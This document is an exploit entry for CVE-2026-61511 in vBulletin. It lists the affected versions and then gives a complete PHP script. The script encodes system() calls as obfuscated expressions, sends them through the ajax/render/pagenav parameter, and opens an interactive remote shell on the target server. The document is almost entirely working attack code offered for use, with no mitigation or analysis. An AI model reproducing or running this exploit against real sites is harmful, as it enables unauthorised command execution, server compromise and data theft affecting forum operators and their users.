CVE-2026-61511 vBulletin
*
Affected Versions
vBulletin 6.2.1 and prior
vBulletin 6.1.6 and prior
*
Exploit

<?php

set_time_limit(0);
error_reporting(E_ERROR);

print "+-------------------------------------+\n";
print "| vBulletin 0-day RCE exploit by EgiX |\n";
print "+-------------------------------------+\n";

if (!extension_loaded("curl")) die("\n[+] cURL extension required!\n");

if ($argc != 2) {
    print "\nUsage......: php $argv[0] <URL>\n";
    print "\nExample....: php $argv[0] http://localhost/vb/";
    print "\nExample....: php $argv[0] https://vbulletin.com/\n\n";
    die();
}

function encodeChar($char)
{
    $numbers = ['0' => '(O)', '1' => '(1)', '2' => '(2)', '3' => '(3)', '4' => '(4)', '5' => '(5)', '6' => '(6)', '7' => '(7)', '8' => '(8)', '9' => '(9)'];

    $char = strval(ord($char));

    $ret = '';
    for ($i = 0; $i < strlen($char); $i++) $ret .= $numbers[$char[$i]] . '.';

    return rtrim($ret, '.');
}

function makePayload($function, $param)
{
    $chr_fun = '((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))';

    $ret = '';
    foreach (str_split($function) as $c) $ret .= $chr_fun . '(' . encodeChar($c) . ').';

    $ret = "(" . rtrim($ret, '.') . ')((';

    foreach (str_split($param) as $c) $ret .= $chr_fun . '(' . encodeChar($c) . ').';

    return rtrim($ret, '.') . '))';
}

$curl   = curl_init();
$params = ["routestring" => "ajax/render/pagenav"];

curl_setopt($curl, CURLOPT_URL, $argv[1]);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
//curl_setopt($curl, CURLOPT_PROXY, "http://127.0.0.1:8080");

while (1) {
    print "\nvb-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    $cmd .= "; echo _____";
    $params["pagenav[pagenumber]"] = makePayload("system", $cmd);
    curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($params));
    preg_match('/_____(.*)_____/s', curl_exec($curl), $m) ? print $m[1] : die("\n[+] Exploit failed! :(\n\n");
}